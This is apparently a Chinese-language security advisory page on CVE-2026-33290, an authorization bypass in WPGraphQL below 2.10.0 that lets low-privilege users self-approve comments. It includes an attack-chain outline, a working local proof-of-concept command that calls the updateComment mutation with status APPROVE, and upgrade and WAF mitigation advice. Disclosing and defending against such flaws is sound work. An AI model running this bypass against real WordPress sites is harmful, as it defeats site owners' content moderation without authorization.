IPBUF安全漏洞报告
English
CVE-2026-33290 CVSS 4.3 中危

CVE-2026-33290 WPGraphQL权限绕过漏洞

披露日期: 2026-03-24

漏洞信息

漏洞编号
CVE-2026-33290
漏洞类型
权限绕过
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WPGraphQL

相关标签

权限绕过WordPressWPGraphQLCVE-2026-33290GraphQL

漏洞概述

WPGraphQL在2.10.0版本之前存在授权缺陷。该漏洞允许经过身份验证的低权限用户(甚至没有任何权限的自定义角色)在没有`moderate_comments`权限的情况下,通过`updateComment`接口修改自己评论的审核状态(例如将其设置为APPROVE)。攻击者可利用此漏洞绕过内容审核流程,实现自我批准评论,破坏网站的内容管理机制。

技术细节

该漏洞源于WPGraphQL在处理评论更新时的权限校验逻辑不严谨。虽然系统检查了操作者是否为评论所有者,但在`CommentMutation.php`中直接将GraphQL输入的状态参数映射到了WordPress的`comment_approved`字段,并未进一步验证用户是否具备`moderate_comments`权限。攻击者利用此缺陷,可以通过GraphQL API的`updateComment`接口,传入`APPROVE`等状态值,强制更新数据库中的评论状态。由于`CommentStatusEnum`暴露了所有的状态枚举,低权限用户能够绕过WordPress原生的角色能力体系,非法将待审核的评论转为已发布状态,实现了权限的提升和业务逻辑的绕过。

攻击链分析

STEP 1
步骤1
攻击者注册或获取一个低权限账户,并在文章上发表一条评论,此时评论状态默认为待审核(Pending)。
STEP 2
步骤2
攻击者向WPGraphQL API发送恶意的Mutation请求,调用`updateComment`接口,传入评论ID并指定`status`为`APPROVE`。
STEP 3
步骤3
服务器端因权限校验缺陷,直接将评论状态更新为已批准,攻击者成功绕过审核流程。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
npm run wp-env run cli -- wp eval ' add_role("no_caps","No Caps",[]); $user_id = username_exists("poc_nocaps"); if ( ! $user_id ) { $user_id = wp_create_user("poc_nocaps","Passw0rd!","[email protected]"); } $user = get_user_by("id",$user_id); $user->set_role("no_caps"); $post_id = wp_insert_post([ "post_title" => "PoC post", "post_status" => "publish", "post_type" => "post", "comment_status" => "open", ]); $comment_id = wp_insert_comment([ "comment_post_ID" => $post_id, "comment_content" => "pending comment", "user_id" => $user_id, "comment_author" => $user->display_name, "comment_author_email" => $user->user_email, "comment_approved" => "0", ]); wp_set_current_user($user_id); $result = graphql([ "query" => "mutation U(\$id:ID!){ updateComment(input:{id:\$id,status:APPROVE}){ success comment{ databaseId status } } }", "variables" => [ "id" => (string)$comment_id ], ]); echo wp_json_encode([ "role_caps" => array_keys(array_filter((array)$user->allcaps)), "status" => $result["data"]["updateComment"]["comment"]["status"] ?? null, "db_comment_approved" => get_comment($comment_id)->comment_approved ?? null, "comment_id" => $comment_id ]); '

影响范围

WPGraphQL < 2.10.0

防御指南

临时缓解措施
建议立即升级WPGraphQL至2.10.0或更高版本以修复此漏洞。若无法立即升级,应通过Web应用防火墙(WAF)规则拦截包含`updateComment`及`status:APPROVE`的GraphQL请求,或暂时禁用Guest用户的评论功能,直到完成修复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表